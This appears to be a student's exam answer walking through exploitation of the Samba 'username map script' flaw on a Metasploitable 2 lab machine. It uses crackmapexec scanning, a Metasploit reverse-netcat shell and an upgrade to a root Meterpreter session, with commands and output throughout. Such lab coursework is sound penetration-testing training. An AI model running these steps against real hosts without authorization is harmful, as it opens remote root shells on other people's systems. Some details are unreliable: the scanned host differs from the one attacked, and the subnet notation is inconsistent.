

smb service exploit for metasploit2.[10 marks]

QUE - smb service exploit for metasploit2.[10 marks]

ANS -

1st Question of test **EXPLOIT OF SMB SERVICE**(Service exploit)

step 1

→ scan network by

command: `crackmapexec smb <Your_Machine_ip/23>`

```
(root@kali)~[~]
# crackmapexec smb 192.168.241.129/23
SMB 192.168.241.130 445 DESKTOP-5PJ47DR [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-5PJ47DR) (domain:DESKTOP-5PJ47DR) (signing:False) (SMBv1:False)
```

step 2

→ start msfconsole and search for the exploit

command: `msfconsole -q`

command: `search multi/samba`

command: `use 0`

```
msf6 > search multi/samba
Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -                                     -              -       -    -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution
1  exploit/multi/samba/nttrans             2003-04-07      average   No      Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow

Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/nttrans
```

step 3

→

command: `options`

```
msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
  Name      Current Setting  Required  Description
  CHOST      192.168.241.128  no        The local client address
  CPORT      4444             no        The local client port
  PROxies     no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.241.129 yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
  Name      Current Setting  Required  Description
  LHOST     192.168.241.128 yes        The listen address (an interface may be specified)
  LPORT     4444             yes        The listen port

Exploit target:
  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

step 4

→ now we have to set victim ip which we fetch from crackmapexec

command: `set RHOST <metasploitable_ip>`

command: `run`

```
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.241.129
rhosts => 192.168.241.129
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.241.128:4444
[*] Command shell session 1 opened (192.168.241.128:4444 -> 192.168.241.129:45390) at 2024-10-01 10:56:10 -0400
```

step 5

→ the shell is open successfully

→ you can upgrade session by

command: `sessions -u <session_id>`

```
msf6 exploit(multi/samba/usermap_script) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.241.128:4433
[*] Sending stage (1017704 bytes) to 192.168.241.129
[*] Meterpreter session 2 opened (192.168.241.128:4433 → 192.168.241.129:43480) at 2024-10-01 11:01:54 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/samba/usermap_script) > sessions

Active sessions

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1	shell cmd/unix			192.168.241.128:4444 → 192.168.241.129:45390 (192.168.241.129)
2	meterpreter x86/linux		root @ metasploitable.localdomain	192.168.241.128:4433 → 192.168.241.129:43480 (192.168.241.129)